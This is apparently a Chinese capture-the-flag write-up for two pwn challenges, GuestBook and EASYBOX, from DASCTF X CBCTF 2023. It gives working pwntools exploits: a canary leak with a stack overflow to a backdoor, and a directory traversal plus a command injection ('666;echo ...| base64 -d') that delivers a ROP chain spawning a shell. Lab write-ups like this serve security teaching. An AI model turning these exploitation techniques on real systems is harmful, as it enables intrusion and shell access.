DASCTF X CBCTF 2023|无畏者先行 [PWN] WP

1.GuestBook

题目保护情况 开启canary,nx保护

64位ida载入 首先可以通过输入0x18个垃圾数据可以通过打印泄露出canary

这里至多有四次输入机会每次都可以溢出,但是有00截断

程序存在后门

思路:1.通过打印泄露出canary

      2.由于canary的00截断,第一溢出到返回地址并修改返回地址,(注意此时canary的末为不能为0,返回地址也有截断)

               3.第二次溢出到canary通过00截断把canary复原

EXP:

from pwn import *
context(log_level='debug',arch='amd64',os='linux') io = process('./GuestBook')
io.recvuntil(' name:') payload = b'a'*0x10 + b'b'*0x8
#gdb.attach(io)
magic = 0x4012c3
io.sendline(payload)
io.recvuntil('\n')
canary = u64(io.recv(7).rjust(8,b'\x00'))
success('canary----->'+hex(canary)) io.recvuntil('(MAX 4):')
io.sendline('2')
payload = b'a'*0x98 + p64(canary+ord('a')) + b'a'*8 + b'\xc3\x12\x40'
gdb.attach(io)
io.sendline(payload) payload = b'a'*0x78 + p64(canary)
#gdb.attach(io)
io.sendline(payload) io.interactive()

2.EASYBOX

题目保护情况 同样是canary,和nx开启

64位ida载入

通过ida和运行可以看见是一个类似于shell的东西,有几个选项可以选,来一个一个分析

PING操作,可以把我们输入的东西拼接在命令里面执行并放入result.txt文件里面

但是做了过滤所以并不能直接读取flag

CAT操作,可以查看文件,这里有两个漏洞

前面知道canary存在/secret/canary.txt文件中,上面那个漏洞可以实现跨目录读取canary

思路:1.通过目录穿越读取canary

     2.通过PING,把ROP链写入result.txt文件中,因为有截断,可以通过base64把rop链编码,然后通过linux命令实现base64解码

     3.通过栈溢出获取shell

EXP:

from pwn import *
import base64 context(log_level='debug',arch='amd64',os='linux') io = remote('node5.buuoj.cn',25438) io.sendlineafter('name:','aaaa')
io.recvuntil('/home/ctf')
payload = 'CAT' io.sendline(payload)
io.recvuntil('view:')
payload = '../../secret/canary.txt'
io.sendline(payload) canary = int(io.recvline(),16)
success('canary----->'+hex(canary))
pop_rdi = 0x0000000000401ce3 #: pop rdi ; ret
system = 0x401230
sh = 0x402090
ret = 0x401C77
ROPpayload = b'a'*0x48 + p64(canary) + b'A'*8 + p64(ret) + p64(pop_rdi) + p64(sh) + p64(system)
ROPpayload = base64.b64encode(ROPpayload) payload = b"666;echo '" + ROPpayload +b"'| base64 -d"
io.sendlineafter('/home/ctf','PING') io.recvuntil('address:')
io.sendline(payload) io.sendlineafter('/home/ctf','CAT')
io.sendlineafter('view:','result.txt')
io.interactive()

3.Binding

这个题目有多种解法通过下一篇单独讲解一下

DASCTF X CBCTF 2023|无畏者先行 [PWN] WP的更多相关文章

  1. [复现]DASCTF Sept X 浙江工业大学秋季挑战赛-PWN

    hehepwn 一开始泄露stack地址,然后写入shellcode返回到shellcode执行 from pwn import * context.os = 'linux' context.log_ ...

  2. 2021能源PWN wp

    babyshellcode 这题考无write泄露,write被沙盒禁用时,可以考虑延时盲注的方式获得flag,此exp可作为此类型题目模版,只需要修改部分参数即可,详细见注释 from pwn im ...

  3. bugku - pwn wp

    一. PWN1 题目:nc 114.116.54.89 10001 1.  直接kali里面跑nc 2.ls看看有啥 3.明显有一个flag cat查看一下 搞定 二 . PWN2 题目:给了nc 1 ...

  4. 周练7(ssti)

    {7*7} ->49 -> smarty {{7*'7'}} -> 49 -> twig {{7*'7'}} -> 7777777 -> jinjia2 1. [B ...

  5. 【pwn】DASCTF Sept 九月赛

    [pwn]DASCTF Sept 月赛 1.hehepwn 先查看保护,栈可执行,想到shellcode 这题需要注意shellcode的写法 拖入ida中分析 一直以为iso scanf不能栈溢出, ...

  6. [复现]2021 DASCTF X BUUOJ 五月大联动-PWN

    [复现]2021 DASCTF X BUUOJ 五月大联动 由于我没ubuntu16就不复现第一个题了,直接第二个 正常的off by one from pwn import * context.os ...

  7. DASCTF NOV X联合出题人-PWN

    太忙了,下午4点才开始做,,剩下的以后补上 签个到 逻辑很简单两个功能的堆,一个就是申请heap.还有一个是检验如果校验通过就会得到flag 申请模块 ​ 中间0x886是个很恶心的东西,需要我们绕过 ...

  8. 躬身入局,干货分享,2023年春招后端技术岗(Python)面试实战教程,Offer今始为君发

    早春二月,研发倍忙,杂花生树,群鸥竟飞.为什么?因为春季招聘,无论是应届生,还是职场老鸟,都在摩拳擦掌,秣马厉兵,准备在面试场上一较身手,既分高下,也决Offer,本次我们打响春招第一炮,躬身入局,让 ...

  9. 移动先行之谁主沉浮? 带着你的Net飞奔吧!

    移动系源码:https://github.com/dunitian/Windows10 移动系文档:https://github.com/dunitian/LoTDotNet/tree/master/ ...

  10. 04.移动先行之谁主沉浮----XAML的探索

    如果移动方向有任何问题请参考===> 异常处理汇总-移动系列(点) 移动先行之谁主沉浮? 带着你的Net飞奔吧! 链接======>(点) XMAL引入 XAML 类似于 HTML,是一种 ...

随机推荐

  1. js不同类型比较

    有布尔 先把布尔转为number 数字和字符串 字符串转number,如果前导为0会被忽略,空字符串转换成0,非数字字符串或其他转为NaN 对象和非对象 对象valueOf获取基本类型,对象转为字符串 ...

  2. C# 如何获取本机IP

    百度搜索的方案 如果你去百度C#如何获取本机IP,那么大概率的你会得到以下的几段代码,第一种就是这样: string name = Dns.GetHostName(); IPAddress[] ipa ...

  3. docker应用基础

    docker相关 镜像 镜像仓库使用的Docker默认的Docker Hub. 搜索仓库的镜像 docker search 默认按评分排序,offical [ok] 表示是官方镜像 $ docker ...

  4. 算法金 | 详解过拟合和欠拟合!性感妩媚 VS 大杀四方

    大侠幸会,在下全网同名「算法金」 0 基础转 AI 上岸,多个算法赛 Top 「日更万日,让更多人享受智能乐趣」 今天我们来战 过拟合和欠拟合,特别是令江湖侠客闻风丧胆的 过拟合,简称过儿, Emmm ...

  5. 阅读LXH《FFMPEG+SDL的视频播放器》总结

    一.原文地址 https://blog.csdn.net/leixiaohua1020/article/details/46889389 在此向雷霄骅致敬!!! 二.视频播放器实现思路 1)视频播放器 ...

  6. zoxide更新后 (cd)异常

    关于zoxide github地址:https://github.com/ajeetdsouza/zoxide 简单来说 zoxide是一个cd的强化版.它会记录你曾经cd过的目录,在你使用cd的时候 ...

  7. 美团一面:什么是CAS?有什么优缺点?我说我只用过AtomicInteger。。。。

    引言 传统的并发控制手段,如使用synchronized关键字或者ReentrantLock等互斥锁机制,虽然能够有效防止资源的竞争冲突,但也可能带来额外的性能开销,如上下文切换.锁竞争导致的线程阻塞 ...

  8. rsync备份

    备份工具rsync 备份是太常见.且太重要的一个日常工作了. 备份源码.文档.数据库.等等. 类似cp命令拷贝,但是支持服务器之间的网络拷贝,且保证安全性. 学习背景 超哥游戏公司要每天都要对代码备份 ...

  9. rabbitMq实现系统内的短信发送设计&动态获取BEAN

    rabbitMq实现系统内的短信发送设计&动态获取BEAN 1.短信非系统的重要节点操作,可以在任务完成之后,比如下单成功,发送下单成功的mq消息,短信服务接收到mq消息,动态的判断该短信的c ...

  10. Merry Christmas 礼物

    Tips:当你看到这个提示的时候,说明当前的文章是由原emlog博客系统搬迁至此的,文章发布时间已过于久远,编排和内容不一定完整,还请谅解` Merry Christmas 礼物 日期:2020-12 ...